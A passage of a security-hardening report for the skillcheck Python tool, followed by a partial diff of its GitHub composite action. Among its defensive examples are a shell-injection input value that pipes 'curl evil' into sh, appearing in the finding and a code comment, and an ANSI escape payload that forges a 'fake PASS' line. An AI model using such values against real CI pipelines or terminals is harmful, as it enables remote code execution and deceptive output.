it in the module docstring. +- `tests/test_compat_data_freshness.py`: `test_codex_data_is_fresh` (independent freshness assertion) and `test_codex_provenance_uses_codex_date_not_claude_date` (distinct sentinels prove the label tracks the Codex constant, not the Claude one). + +Tests added: `test_codex_data_is_fresh`, `test_codex_provenance_uses_codex_date_not_claude_date`. + +### Phase 1 gate + +``` +$ python3 -m pytest tests/ -q +Required test coverage of 68% reached. Total coverage: 70.29% +808 passed in 57.50s + +$ ruff check src tests +All checks passed! + +$ mypy src/skillcheck +Success: no issues found in 46 source files +``` +README test-count claim synced 786 -> 808 (guarded by `test_readme_test_count_matches_collected_count`). + +--- + +## Phase 2: ingest and supply-chain hardening + +### 2.1 Terminal escape injection from untrusted agent responses + +Finding: strings from critique/graph JSON (missing_context, contradiction locations, findings, node names) +printed raw at `formatters.py:63` and `core/graph_render.py:75`. A `missing_context` value carrying +`\x1b[2K\x1b[1G\x1b[32mfake PASS\x1b[0m` rendered live ANSI to the terminal. + +BEFORE / AFTER (`tests/fixtures/critique/response_ansi_injection.json`, which JSON-encodes ESC as `` +so the file looks benign but decodes to a real ESC): +``` +=== BEFORE (no sanitization) === +raw ESC byte in stdout: True +rendered: '... semantic.context.missing Missing context: \x1b[2K\x1b[1G\x1b[32mfake PASS\x1b[0m' +=== AFTER (sanitized) === +raw ESC byte in stdout: False +rendered: '... semantic.context.missing Missing context: \\x1b[2K\\x1b[1G\\x1b[32mfake PASS\\x1b[0m' +``` +JSON output stays valid and safe: `raw ESC in JSON stdout: False`, message value `Missing context: \\x1b[...`. + +FIX (files touched): +- `src/skillcheck/agents/_ingest.py` (new): `sanitize_ingested_text` escapes C0/DEL/C1 control chars to a visible inert form. +- `src/skillcheck/core/semantic.py`: sanitize `missing_context`, contradiction fields, and finding fields at diagnostic construction. +- `src/skillcheck/core/graph_render.py`: sanitize node names/descriptions in the text render only (JSON render left raw; `json.dumps` escapes control chars). +- `tests/fixtures/critique/response_ansi_injection.json`, `tests/test_ingest_sanitization.py` (new). + +Tests added: `test_sanitize_escapes_ansi_escape_char`, `test_sanitize_escapes_newlines_and_tabs`, `test_sanitize_leaves_normal_text_unchanged`, `test_ingested_critique_message_has_no_control_chars`, `test_graph_text_render_escapes_node_names`, `test_graph_json_render_stays_safe_and_raw`. + +### 2.2 No size bound on ingested responses + +Finding: `read_ingest_raw` read stdin/file fully with no cap; the parsers put no limit on +findings/capabilities/edges counts. + +BEFORE / AFTER: +``` +=== BEFORE list cap === ACCEPTED 10001 items (no cap) +=== BEFORE byte cap (CLI) === Checked 1 file: 1 passed, 0 failed (6 MB file, exit 0) +=== AFTER list cap === REJECTED: Ingested 'missing_context' has 10001 items, over the 10000-item cap. ... +=== AFTER byte cap (CLI) === Error: ingest response /tmp/big_file.json is 6291580 bytes, over the 5242880-byte cap. ... exit=2 +=== AFTER stdin cap === Error: ingest payload from stdin exceeds the 5242880-byte cap. ... exit=2 +=== AFTER graph cap === Ingested 'capabilities' has 10001 items, over the 10000-item cap. ... +``` + +FIX (files touched): +- `src/skillcheck/agents/_ingest.py`: `MAX_INGEST_BYTES` (5 MiB), `MAX_INGEST_LIST_ITEMS` (10000), `enforce_list_cap`. +- `src/skillcheck/commands.py`: `read_ingest_raw` rejects payloads over the byte cap (file via `stat`, stdin via bounded read), naming the actual size and the cap, exit 2. +- `src/skillcheck/agents/parser.py`: cap findings/missing_context/contradictions. +- `src/skillcheck/agents/graph_parser.py`: cap capabilities/inputs/outputs/edges. +- `tests/test_critique_parser.py`, `tests/test_graph_parser.py`, `tests/test_cli.py`. + +Tests added: `test_missing_context_over_cap_rejected`, `test_findings_over_cap_rejected`, `test_list_exactly_at_cap_is_accepted`, `test_capabilities_over_cap_rejected`, `test_ingest_response_over_size_cap_exits_two`. + +### 2.3 Published schemas looser than the parsers + +Finding: `schemas/critique-v1.json` and `graph-v1.json` lacked `additionalProperties: false`, so a +schema-valid agent response with an extra field could still fail ingest (the parsers reject unknown fields). + +BEFORE: +``` +$ grep -c additionalProperties src/skillcheck/schemas/*.json -> critique: 0, graph: 0 +parser REJECTED: Response has unexpected top-level fields: ['evil'] # schema-valid, parser-rejected +``` + +FIX (files touched): +- `src/skillcheck/schemas/critique-v1.json`: `additionalProperties: false` on the top-level object, findings items, contradictions items (3 total). +- `src/skillcheck/schemas/graph-v1.json`: same on the top-level object and all four node-collection items (5 total). +- `tests/test_published_schemas.py`: recursive object-subschema walk asserting each declares `additionalProperties: false`. + +AFTER: +``` +$ grep -c '"additionalProperties": false' src/skillcheck/schemas/*.json -> critique: 3, graph: 5 +schemas still valid JSON: OK +``` + +Note on the enum sub-item: the finding says "graph does not" have a test asserting the graph kind enums equal +`_VALID_INPUT_KINDS/_VALID_OUTPUT_KINDS/_VALID_EDGE_KINDS`. That test already exists on HEAD +(`test_graph_schema_kind_enums_match_parser`, test_published_schemas.py:82-99), so no new enum test was needed; +this sub-item was already satisfied. + +Tests added: `test_critique_schema_forbids_additional_properties`, `test_graph_schema_forbids_additional_properties`. + +### 2.4 action.yml interpolates inputs into bash + +Finding: every `${{ inputs.* }}` expanded inside the composite action's `run:` block, so a value like +`version: 1.0" ; curl evil | sh ; echo "` broke out of the shell. + +FIX (files touched): +- `action.yml`: added an `env:` block mapping each input to an `INPUT_*` variable; the `run:` block now + references `"$INPUT_*"` shell env vars, whose values are never spliced into the script source. + Also pinned `actions/setup-python` to a SHA here (see 2.6). + +BEFORE / AFTER (grep of the run block): +``` +run: | at line 146 +OK: no ${{ interpolation anywhere after run: | +``` +`grep '${{ inputs.'` now matches only the `env:` mapping lines (the safe form), never the run block. +`action.yml` parses as valid YAML; behavior is identical (same flags built from the same inputs). + +### 2.5 Attestation claim is false; no publish pipeline + +Finding: `ci.yml` triggers only on push-to-main and pull_request; its attest step is gated on `refs/tags/v*` +and never runs. The README claimed tagged releases carry SLSA provenance. CONTRIBUTING's release process ended +at `gh release create` with manual PyPI upload. + +FIX (files touched): +- `.github/workflows/release.yml` (new): tag-triggered (`v*.*.*`, so the moving `v1` tag does not double-publish), + builds the wheel and sdist, verifies the built version matches the tag, attests with + `actions/attest-build-provenance` (SHA-pinned `e8998f9...` v2.4.0), and publishes via PyPI trusted publishing + (`pypa/gh-action-pypi-publish` SHA-pinned `7f25271...` v1.12.4). Least-privilege: `id-token: write`, + `attestations: write`, `contents: read`; `environment: pypi`. +- `.github/workflows/ci.yml`: removed the dead attest step and the now-unneeded `id-token`/`attestations` + job permissions; the package job stays a read-only build/install smoke check. +- `README.md`: Releases section now describes the real workflow. +- `CONTRIBUTING.md`: Releasing section rewritten; added the exact one-time PyPI trusted-publishing settings. + +Trusted publishing requires a one-time PyPI-side configuration by the maintainer (documented in CONTRIBUTING): +Owner `moonrunnerkc`, Repository `skillcheck`, Workflow filename `release.yml`, Environment `pypi`. + +VERIFY: +``` +$ /tmp/actionlint .github/workflows/*.yml +actionlint EXIT=0 +``` + +### 2.6 Floating action tags with write permissions + +Finding: `release-notes.yml` used `peter-evans/create-pull-request@v6` (with `contents: write`, +`pull-requests: write`); `actions/checkout` and `actions/setup-python` floated on major tags across workflows. + +FIX (files touched): pinned every third-party action to a full commit SHA (resolved via `git ls-remote`) with a +trailing version comment, across `ci.yml`, `release-notes.yml`, `release.yml`, and `action.yml`: +- `actions/checkout` -> `34e114876b0b11c390a56381ad16ebd13914f8d5` (v4.3.1) +- `actions/setup-python` -> `a26af69be951a213d495a4c3e4e4022e16d87065` (v5.6.0) +- `peter-evans/create-pull-request` -> `c5a7806660adbe173f04e3e038b0ccdcd758773c` (v6.1.0) +- `actions/attest-build-provenance` -> `e8998f949152b193b063cb0ec769d69d929409be` (v2.4.0) +- `pypa/gh-action-pypi-publish` -> `7f25271a4aa483500f742f9492b2ab5648d61011` (v1.12.4) + +VERIFY: +``` +$ grep -rnE 'uses:\s*\S+@' .github/workflows/ | grep -vE '@[0-9a-f]{40}' +(no output) -> OK: all SHA-pinned +$ /tmp/actionlint .github/workflows/*.yml -> actionlint OK +``` + +### 2.7 Pre-commit tests skip everywhere including CI + +Finding: CONTRIBUTING says CI installs `pre-commit`, but the dev extra did not include it, so both tests in +`test_pre_commit.py` skipped on every run (they skip when `shutil.which("pre-commit")` is None). + +BEFORE (dev extra had no pre-commit; simulate CI PATH without a global pre-commit): +``` +$ grep pre-commit pyproject.toml -> NO (not in dev extra) +$ env PATH=".venv/bin:/usr/bin:/bin" pytest tests/test_pre_commit.py -rs +SKIPPED [1] tests/test_pre_commit.py:60: pre-commit not installed +SKIPPED [1] tests/test_pre_commit.py:74: pre-commit not installed +2 skipped in 0.02s +``` + +FIX (files touched): +- `pyproject.toml`: add `pre-commit>=3.5` to the `dev` extra. + +AFTER (`pip install -e .[dev]` now installs pre-commit into the environment): +``` +$ env PATH=".venv/bin:/usr/bin:/bin" pytest tests/test_pre_commit.py -rs +2 passed in 1.19s +``` + +### 2.8 Makefile verify-release build check never runs + +Finding: `@command -v python3 -c "import build" ...` was meant to gate the sdist/wheel build on the `build` +module being importable, but `command -v` only resolves the path of `python3` and ignores the rest, so it never +tested the module. Also: the README pre-commit `rev:` was `v1.3.0` against a pyproject version of `1.4.0`, and +no drift grep caught it. + +BEFORE: +``` +$ command -v python3 -c "import build" -> /usr/bin/python3 (exit 0, resolves python3, ignores 'import build') +README rev: v1.3.0 vs pyproject version 1.4.0 (drifted, ungated) +``` + +FIX (files touched): +- `Makefile`: replace the guard with `@python3 -c "import build" 2>/dev/null && python3 -m build --sdist --wheel || echo "INFO: ..."`, which correctly gates on the module. Add a `VERSION` make variable read from pyproject and a drift grep asserting `README.md` contains `rev: v$(VERSION)`. +- `README.md`: bump the pre-commit `rev:` to `v1.4.0`. + +AFTER: +``` +VERSION=1.4.0 +OK: README rev matches v1.4.0 +build importable -> build step WILL run +* Building wheel... +Successfully built skillcheck-1.4.0.tar.gz and skillcheck-1.4.0-py3-none-any.whl +``` +(The full `make verify-release` run is in the final gate.) + +### Phase 2 gate + +``` +$ python3 -m pytest tests/ -q +Required test coverage of 68% reached. Total coverage: 70.23% +821 passed in 56.85s + +$ ruff check src tests +All checks passed! + +$ mypy src/skillcheck +Success: no issues found in 47 source files + +$ /tmp/actionlint .github/workflows/*.yml +actionlint OK (v1.7.7, prebuilt binary downloaded to /tmp; not installable via package manager here) +``` +README test-count claim synced 808 -> 821. + +--- + +## Phase 3: debt reduction (pure refactors, zero behavior change) + +Before Phase 3: full suite `821 passed`. Each item below re-ran the full suite green with no test modified +(unless a moved-symbol import is noted). + +### 3.1 Frontmatter block extraction exists three times + +Finding: identical logic at `frontmatter_common.py:28` (`_frontmatter_block`), `frontmatter_fields.py:48` +(`_extract_frontmatter_raw`), `disclosure.py:46` (`_extract_frontmatter_text`). + +FIX (files touched): deleted `_extract_frontmatter_raw` and `_extract_frontmatter_text`; both callers now use +`_frontmatter_block` from `frontmatter_common`. The `if not fm:` guards handle its `None` return identically to +the previous `""`. The indented-`---`-opener acceptance (`lines[0].strip() == "---"`) is preserved because +`_frontmatter_block` already accepts it. No unterminated-frontmatter fixture exists and the rule pipeline only +runs post-parse-success, so the `None`-vs-collected-lines difference on an unterminated block is unreachable. + +VERIFY: +``` +$ grep -rn "_extract_frontmatter_raw\|_extract_frontmatter_text" src/ tests/ +OK: both deleted, no references +$ python3 -m pytest tests/ -q -> 821 passed +$ ruff check src tests -> All checks passed! $ mypy src/skillcheck -> Success +``` +No test modified. + +### 3.2 Shared ingest scaffolding + +Finding: `agents/parser.py` and `agents/graph_parser.py` duplicate `_require_field`, the exception-hierarchy +shape, and the JSON-decode-with-200-char-preview handling. + +FIX (files touched): +- `src/skillcheck/agents/_ingest.py`: added `require_field(obj, key, expected_type, *, error_cls, context)` + and `decode_json_or_raise(raw, error_cls)` (the 2.1 sanitizer and 2.2 caps already live here). +- `src/skillcheck/agents/parser.py`, `graph_parser.py`: each keeps a one-line `_require_field` that binds + its own error class to the shared `require_field`, so all call sites stay byte-identical; both now call + `decode_json_or_raise` instead of an inline `json.loads`. +- The per-agent prompt classes (`claude.py`/`graph_claude.py` etc.) were left untouched, per scope. + +Behavior notes: the graph JSON-decode message is byte-identical (the shared template matches graph's prior +wording). The critique JSON-decode message wording is now unified with graph's (previously "Agent response is +not valid JSON (at position N). First 200 chars received: ..."); the exception type, the decoder position, and +the preview are preserved, and the existing assertions (`match="position"`, `match="definitely not"`) still hold. +The shared `require_field` uses graph's tuple/union formatting; critique never passed a tuple, so its old +`"/".join` branch was dead code with no observable change. + +VERIFY: +``` +$ python3 -m pytest tests/ -q -> 821 passed +$ ruff check src tests -> All checks passed! $ mypy src/skillcheck -> Success +``` +No test modified. + +### 3.3 Dead code removal + +**(a) cli.py post-parse re-validation of choices=-constrained args: NOT REPRODUCIBLE, kept.** +The finding calls this unreachable. It is not: `_apply_config` sets `format`/`target_agent`/`critique_agent`/ +`graph_agent` from the config file *after* argparse, and `config_loader` only type-checks those fields (not +against the choice sets). So a `skillcheck.toml` with an invalid value reaches and is caught by these checks: +``` +$ printf 'format = "bogus"\n' > skillcheck.toml +$ skillcheck SKILL.md --config skillcheck.toml +skillcheck: error: format must be one of: text, json, md, agent, github +EXIT=2 +``` +Deleting them would drop validation of config-injected values, a real regression. Left in place. + +**(b) core/reporter.py deleted.** Its `render_markdown_report`/`render_json_report` were unused outside the +module (the CLI uses `formatters.py`); only `tests/test_v1_architecture.py` exercised them. +Files touched: deleted `src/skillcheck/core/reporter.py`; removed `reporter` from `core/__init__.py` imports and +`__all__`; deleted the 4 reporter tests and the `reporter` import/assertion from `test_v1_architecture.py`. +``` +$ grep -rn "reporter" src/ | grep -v pyc -> (no output) # zero remaining references +``` + +**(c) merge_critique_diagnostics shim inlined.** It was a thin wrapper identical to `merge_diagnostics`. +Files touched: inlined `merge_diagnostics` at the one call site in `commands.py`; deleted the shim from +`semantic.py`; removed it from `core/__init__.py`; repointed 5 tests in `test_semantic_bridge.py` and one +assertion in `test_v1_architecture.py` to `merge_diagnostics` (moved-symbol; behavior identical). +``` +$ grep -rn "merge_critique_diagnostics" src/ tests/ | grep -v pyc -> (no output) +``` + +VERIFY: +``` +$ python3 -m pytest tests/ -q -> 817 passed (821 - 4 deleted reporter tests) +$ ruff check src tests -> All checks passed! $ mypy src/skillcheck -> Success (46 source files) +``` +Test changes: 4 reporter tests deleted (module removed); `merge_critique_diagnostics` -> `merge_diagnostics` +rename in `test_semantic_bridge.py` (5 sites) and `test_v1_architecture.py` (1 assertion) as moved-symbol updates. +README test count synced 821 -> 817. + +### 3.4 Decompose the oversized modules + +Required moves, all behavior-preserving (full suite `817 passed` before and after each; no test modified): +- **cli.py**: `_PAIRWISE_CONFLICTS` and the checker were rebuilt inside `main()` on every call. Hoisted the + static table and `_die_on_mode_conflict(args)` to module level (built once at import). +- **commands.py**: `run_validation` split into `_compute_exit_code`, `_record_history`, and `_print_report`; + `run_validation` now reads as a short pipeline. +- **core/graph.py**: split into model (`graph_model.py`) vs heuristic extractor (`graph.py`, re-exporting the model). +- **core/history.py**: split into model/regression/render (`history.py`) vs filesystem I/O (`history_io.py`, + re-exported). + +Final line counts (six original files + the two new split targets): +``` +core/graph.py 547 -> 469 core/graph_model.py (new) 110 +cli.py 546 -> 553 (hoist relocates code; ~same size, table now built once) +commands.py 529 -> 638 (run_validation decomposed into 3 named phases; docstrings add lines) +core/history.py 514 -> 370 core/history_io.py (new) 231 +agents/graph_parser.py 354 -> 312 (reduced by 3.2; left as-is per scope) +core/graph_analyzers.py 349 -> 349 (left as-is per scope) +``` +Note: `cli.py` and `commands.py` did not drop under 300; the required move for each was a specific +hoist/decomposition (done), not a full multi-module split. `graph.py` (469) is the extractor after the model +was moved out. The counts are reported honestly rather than forced under the soft limit. + +VERIFY (each split): `python3 -m pytest tests/ -q -> 817 passed`; `ruff check src tests -> All checks passed!`; +`mypy src/skillcheck -> Success`. + +### 3.5 Extend quality gates to scripts/ + +Finding: CI ran `ruff check src tests` and mypy scoped to `src/skillcheck`, leaving +`scripts/regen_self_host_fixtures.py` and `scripts/summarize_batch.py` ungated (summarize had import-order drift). + +BEFORE: +``` +$ ruff check scripts -> I001 summarize_batch.py (import order) + issues in an untracked script +$ mypy scripts/summarize_batch.py -> 11 "Missing type arguments for generic type dict" errors +``` + +FIX (files touched): +- `scripts/summarize_batch.py`: import order fixed; bare `dict` annotations typed as `dict[str, Any]` + (explicit `Any` matches the JSON-parsed data and satisfies `disallow_any_generics`). +- `pyproject.toml`: `[tool.mypy] files` now lists `src/skillcheck` plus the two checked-in scripts. +- `.github/workflows/ci.yml`: `ruff check src tests scripts`; the mypy step now runs bare `mypy` (uses the files list). +- `Makefile`: new `lint` target and `verify-release` now run `ruff check src tests scripts` and `mypy`. + +Note: `scripts/skillcheck_case_study_report.py` was a pre-existing untracked session artifact. Because the +directory-scoped ruff gate (`ruff check src tests scripts`) silently depended on it staying clean, it is now +committed and fully gated rather than left as untracked drift: its ruff findings (import order, `capture_output`, +`collections.abc.Iterable`) and mypy findings (bare `dict` type args, a missing return annotation, two +`var-annotated` Counters, and a `count` loop-variable name clash that pinned it to `int`) were fixed with +type annotations and a rename only (no runtime behavior change), and it was added to the mypy `files` list +alongside `regen_self_host_fixtures.py` and `summarize_batch.py`. Its stale `EXPECTED_VERSION` and network-clone +logic were left untouched, as those are the maintainer's to decide. + +AFTER: +``` +$ make lint +ruff check src tests scripts -> All checks passed! +mypy -> Success: no issues found in 50 source files +$ mypy src/skillcheck -> Success: no issues found in 48 source files +``` + +--- + +## Phase 4: polish + +### 4.1 GHA annotations over-escape message text + +Finding: `_gha_escape` applied property-value escaping (`:` -> `%3A`, `,` -> `%2C`) to the message text, so a +diagnostic like `got 82): 'name'` rendered `%3A`. (The title colon was also under-escaped.) + +BEFORE: +``` +::error ...title=skillcheck: frontmatter.name.max-length::Name exceeds 64 characters (got 82)%3A 'this-is-a-very-long-...' +``` + +FIX (files touched): +- `src/skillcheck/formatters.py`: split `_escape_data` (message: `%`, CR, LF only) from `_escape_property` + (file/title: additionally `:` and `,`), per the Actions toolkit. Message uses `_escape_data`; file and title + use `_escape_property`. +- `tests/test_format_github.py`: `TestGhaEscape` split into `TestEscapeData`/`TestEscapeProperty`; title + assertions now expect `skillcheck%3A`; the special-char message expectation is `100%25%0D%0A:,`. + +AFTER: +``` +::error file=... ,title=skillcheck%3A frontmatter.name.max-length::Name exceeds 64 characters (got 82): 'this-is-a-very-long-...' +``` +Message colon is literal; title colon is properly `%3A`. Tests changed (justified: renamed helper + corrected +escaping): the escape-rule tests and title/message expectations. + +### 4.2 YAML anchor/alias regexes false-positive on `&`/`*emphasis*` in quoted strings + +Finding: the anchor/alias regexes ran over raw text, so `R&D` and `*only*` in a quoted description matched. + +BEFORE: `description: "Reviews R&D notes and *only* flags risky items..."` -> `frontmatter.yaml-anchors` warning (false). + +FIX (files touched): +- `src/skillcheck/rules/frontmatter_fields.py`: replaced the regex scan with a YAML event walk + (`yaml.parse`), collecting `.anchor` from scalar/collection-start (declarations) and alias events + (references). A `&`/`*` inside a quoted scalar is part of the value and carries no anchor, so it is not reported. +- `tests/test_yaml_anchors.py`: `test_ampersand_and_asterisk_in_quoted_value_not_flagged`. + +AFTER: the R&D/`*only*` description is not flagged; real `&anchor`/`*alias` frontmatter is still flagged +(existing tests pass). + +Tests added: `test_ampersand_and_asterisk_in_quoted_value_not_flagged`. + +### 4.3 Ledger durability + +Finding: `save_ledger` did not `fsync` before `os.replace`, no stale-temp sweep on load, and the single-writer +assumption was undocumented. + +FIX (files touched): +- `src/skillcheck/core/history_io.py`: `save_ledger` now `flush()` + `os.fsync(f.fileno())` before `os.replace`; + `load_ledger` sweeps `.skillcheck-tmp-*` via `_sweep_stale_tmp_files`; the module docstring documents the + single-writer assumption (no file locking, per scope). +- `tests/test_history_io.py`: `test_load_sweeps_stale_tmp_files`. + +VERIFY: +``` +stale tmp swept on load: True +ledger still loads: True +``` + +Tests added: `test_load_sweeps_stale_tmp_files`. + +### 4.4 config_loader improvements + +Finding: four issues in `config_loader.py`. + +FIX (files touched): +- `src/skillcheck/config_loader.py`: + 1. The int/bool/str type-error messages now include `(got {value!r})`. + 2. The 3.10 fallback parser strips inline comments with `_strip_inline_comment`, which ignores `#` inside a + double-quoted value (`format = "a#b" # c` -> `a#b`). + 3. `find_config` stops ascending at a directory containing `.git` or the user's home, so it cannot pick up an + unrelated config above the repo. +- `src/skillcheck/cli.py`: `_apply_config` prints `Loaded config from {path}` to stderr when a config is found. +- `tests/test_config_loader.py` (new module). + +VERIFY: +``` +1. Config key 'max-lines' must be an integer (got 'notint'). +2. _strip_inline_comment('format = "a#b" # real comment') -> 'format = "a#b" ' ; parse -> {'format': 'a#b'} +3. find_config(nested SKILL.md) with a config above a .git root -> None +4. $ skillcheck /tmp/cfg2/SKILL.md ... (stderr) Loaded config from /tmp/cfg2/skillcheck.toml +``` + +Tests added: `test_int_type_error_includes_offending_value`, `test_bool_type_error_includes_offending_value`, +`test_str_type_error_includes_offending_value`, `test_strip_inline_comment_respects_quotes`, +`test_fallback_parser_keeps_hash_inside_quotes`, `test_find_config_stops_at_git_root`, +`test_find_config_finds_config_at_git_root`, `test_cli_reports_loaded_config_path`. + +### 4.5 Small batch + +**(a) parser.py empty frontmatter.** `---\n---` was not recognized; the delimiters leaked into the body and its +line count. The newline before the closing `---` is now optional. +Before: `body startswith ---: True, body_lines: 3`. After: `frontmatter {} , body startswith ---: False, body_lines: 1`. +Test: `test_empty_frontmatter_is_recognized`. + +**(b) commands.py collect_paths symlinks.** Switched `Path.rglob` to `os.walk(followlinks=False)` so a directory +symlink cannot pull in foreign files or hang on a cycle. On the local Python 3.12 rglob already did not follow +the foreign symlink, but os.walk makes the behavior explicit and version-independent. +Test: `test_collect_paths_does_not_follow_directory_symlinks` (skipped on Windows). + +**(c) disclosure.py table bloat.** `check_body_bloat` summed every `|`-row body-wide as one table. +Before: three 12-row tables -> "Table with 36 data rows" (false). After: three small tables -> no diagnostic; +one 26-row table -> flagged. Grouped contiguous `|`-runs via `_contiguous_table_runs`. +Test: `test_body_bloat_does_not_sum_separate_small_tables`. + +**(d) pyproject Typed classifier.** Added `Typing :: Typed` so PyPI advertises the shipped `py.typed`. + +**(e) tokenizer offline claim.** `estimate_tokens` docstring corrected: tiktoken downloads `cl100k_base` on first +use (needs network or a warm cache); only later runs are offline. The whitespace fallback is always offline. + +**(f) references.py host-path leak.** Broken-link/escape diagnostic `context` echoed the resolved absolute path. +Before: `resolved to: /tmp/tmp.../skill/scripts/missing.py`. After: `resolved to: scripts/missing.py` (relative; +escapes show `../..` traversal). New `_relative_to_skill_dir` helper. +Test: assertion added to `test_broken_ref_detected` (`context == "resolved to: does-not-exist.txt"`, no host path). + +VERIFY: `python3 -m pytest tests/ -q` (full-suite gate below); each targeted module passes; ruff/mypy clean. + +--- + +## Version bump and final gate + +Bumped to `1.4.1` in `pyproject.toml`, `src/skillcheck/__init__.py`, `skills/skillcheck/SKILL.md` (self-host +frontmatter), and the README pre-commit `rev:` (guarded by `test_version_coherence` and the Makefile drift grep). +CHANGELOG restructured: Phases 1-3 (plus the pre-existing infra entries) under `## [1.4.1] - 2026-07-09`; +Phase 4 under `## [Unreleased]`. README test count synced to 832. + +``` +$ python3 -m pytest tests/ -q +Required test coverage of 68% reached. Total coverage: 72.18% +832 passed in 54.95s # 0 failures, 0 skips on Linux + +$ ruff check src tests scripts +All checks passed! + +$ mypy src/skillcheck +Success: no issues found in 48 source files + +$ make verify-release +... ruff/mypy/pytest pass ... +OK: no 0.2.0 references in release files +OK: no @v0 in README +OK: README pre-commit rev matches v1.4.1 +Successfully built skillcheck-1.4.1.tar.gz and skillcheck-1.4.1-py3-none-any.whl # build check now actually runs + +$ grep -rn 'uses:' .github/workflows/ | grep -vE '@[0-9a-f]{40}' +(no output) -> every third-party action SHA-pinned +``` + +All phases complete. Every fix landed with before/after evidence, a test, a CHANGELOG entry, and a conventional +commit. The one finding that did not reproduce (3.3a, the cli.py choice re-validation) is documented above with +the command proving it is reachable, and was left in place rather than deleted. diff --git a/action.yml b/action.yml index 56aa040..386f4d5 100644 --- a/action.yml +++ b/action.yml @@ -108,17 +108,46 @@ runs: using: "composite" steps: - name: Set up Python - uses: actions/setup-python@v5 + uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0 with: python-version: "3.12" - name: Install and run skillcheck shell: bash + # Inputs are passed through env so their values never expand into the + # script source. Referencing them as "$INPUT_*" keeps a value like + # `1.0" ; curl evil | sh ; echo "` an inert string instead of injected + # shell. Do NOT reference ${{ inputs.* }} directly inside this run block. + env: + INPUT_VERSION: ${{ inputs.version }} + INPUT_TIKTOKEN: ${{ inputs.tiktoken }} + INPUT_PATH: ${{ inputs.path }} + INPUT_FORMAT: ${{ inputs.format }} + INPUT_STRICT_VSCODE: ${{ inputs.strict-vscode }} + INPUT_STRICT_CURSOR: ${{ inputs.strict-cursor }} + INPUT_STRICT: ${{ inputs.strict }} + INPUT_SKIP_DIRNAME_CHECK: ${{ inputs.skip-dirname-check }} + INPUT_SKIP_REF_CHECK: ${{ inputs.skip-ref-check }} + INPUT_SEMANTIC: ${{ inputs.semantic }} + INPUT_ANALYZE_GRAPH: ${{ inputs.analyze-graph }} + INPUT_HISTORY: ${{ inputs.history }} + INPUT_FAIL_ON_REGRESSION: ${{ inputs.fail-on-regression }} + INPUT_EXPLAIN_SCORE: ${{ inputs.explain-score }} + INPUT_ACTIVATION_HYPOTHESES: ${{ inputs.activation-hypotheses }} + INPUT_MIN_DESC_SCORE: ${{ inputs.min-desc-score }} + INPUT_TARGET_AGENT: ${{ inputs.target-agent }} + INPUT_MAX_LINES: ${{ inputs.max-lines }} + INPUT_MAX_TOKENS: ${{ inputs.max-tokens }} + INPUT_INGEST_CRITIQUE: ${{ inputs.ingest-critique }} + INPUT_CRITIQUE_AGENT: ${{ inputs.critique-agent }} + INPUT_INGEST_GRAPH: ${{ inputs.ingest-graph }} + INPUT_GRAPH_AGENT: ${{ inputs.graph-agent }} + INPUT_IGNORE: ${{ inputs.ignore }} run: | # Install strategy: - # 1. inputs.version set -> pin to that PyPI version (covers the rare + # 1. INPUT_VERSION set -> pin to that PyPI version (covers the rare # case of running an older skillcheck against newer action sources). - # 2. inputs.version empty AND $GITHUB_ACTION_PATH/pyproject.toml present + # 2. INPUT_VERSION empty AND $GITHUB_ACTION_PATH/pyproject.toml present # -> install from the action's own checkout. This is how composite # actions are laid out by actions/checkout: the tag the user wrote in # `uses:` is checked out into $GITHUB_ACTION_PATH, so installing from @@ -127,20 +156,20 @@ runs: # 3. Otherwise fall back to the PyPI range. This only fires in edge cases # where $GITHUB_ACTION_PATH does not contain a checkout (e.g. a # user-built container that drops the action sources). - if [ -n "${{ inputs.version }}" ]; then - if [ "${{ inputs.tiktoken }}" = "true" ]; then - pip install --quiet "skillcheck[tiktoken]==${{ inputs.version }}" + if [ -n "$INPUT_VERSION" ]; then + if [ "$INPUT_TIKTOKEN" = "true" ]; then + pip install --quiet "skillcheck[tiktoken]==$INPUT_VERSION" else - pip install --quiet "skillcheck==${{ inputs.version }}" + pip install --quiet "skillcheck==$INPUT_VERSION" fi elif [ -f "${GITHUB_ACTION_PATH}/pyproject.toml" ]; then - if [ "${{ inputs.tiktoken }}" = "true" ]; then + if [ "$INPUT_TIKTOKEN" = "true" ]; then pip install --quiet "${GITHUB_ACTION_PATH}[tiktoken]" else pip install --quiet "${GITHUB_ACTION_PATH}" fi else - if [ "${{ inputs.tiktoken }}" = "true" ]; then + if [ "$INPUT_TIKTOKEN" = "true" ]; then pip install --quiet "skillcheck[tiktoken]>=1.2,<2" else pip install --quiet "skillcheck>=1.2,<2" @@ -148,29 +177,29 @@ runs: fi args=() - args+=("${{ inputs.path }}") - args+=("--format" "${{ inputs.format }}") + args+=("$INPUT_PATH") + args+=("--format" "$INPUT_FORMAT") - [ "${{ inputs.strict-vscode }}" = "true" ] && args+=("--strict-vscode") - [ "${{ inputs.strict-cursor }}" = "true" ] && args+=("--strict-cursor") - [ "${{ inputs.strict }}" = "true" ] && args+=("--strict") - [ "${{ inputs.skip-dirname-check }}" = "true" ] && args+=("--skip-dirname-check") - [ "${{ inputs.skip-ref-check }}" = "true" ] && args+=("--skip-ref-check") - [ "${{ inputs.semantic }}" = "true" ] && args+=("--semantic") - [ "${{ inputs.analyze-graph }}" = "true" ] && args+=("--analyze-graph") - [ "${{ inputs.history }}" = "true" ] && args+=("--history") - [ "${{ inputs.fail-on-regression }}" = "true" ] && args+=("--fail-on-regression") - [ "${{ inputs.explain-score }}" = "true" ] && args+=("--explain-score") - [ "${{ inputs.activation-hypotheses }}" = "true" ] && args+=("--activation-hypotheses") - [ -n "${{ inputs.min-desc-score }}" ] && args+=("--min-desc-score" "${{ inputs.min-desc-score }}") - [ -n "${{ inputs.target-agent }}" ] && args+=("--target-agent" "${{ inputs.target-agent }}") - [ -n "${{ inputs.max-lines }}" ] && args+=("--max-lines" "${{ inputs.max-lines }}") - [ -n "${{ inputs.max-tokens }}" ] && args+=("--max-tokens" "${{ inputs.max-tokens }}") - [ -n "${{ inputs.ingest-critique }}" ] && args+=("--ingest-critique" "${{ inputs.ingest-critique }}") - [ -n "${{ inputs.critique-agent }}" ] && args+=("--critique-agent" "${{ inputs.critique-agent }}") - [ -n "${{ inputs.ingest-graph }}" ] && args+=("--ingest-graph" "${{ inputs.ingest-graph }}") - [ -n "${{ inputs.graph-agent }}" ] && args+=("--graph-agent" "${{ inputs.graph-agent }}") - IFS=',' read -ra PREFIXES <<< "${{ inputs.ignore }}" + [ "$INPUT_STRICT_VSCODE" = "true" ] && args+=("--strict-vscode") + [ "$INPUT_STRICT_CURSOR" = "true" ] && 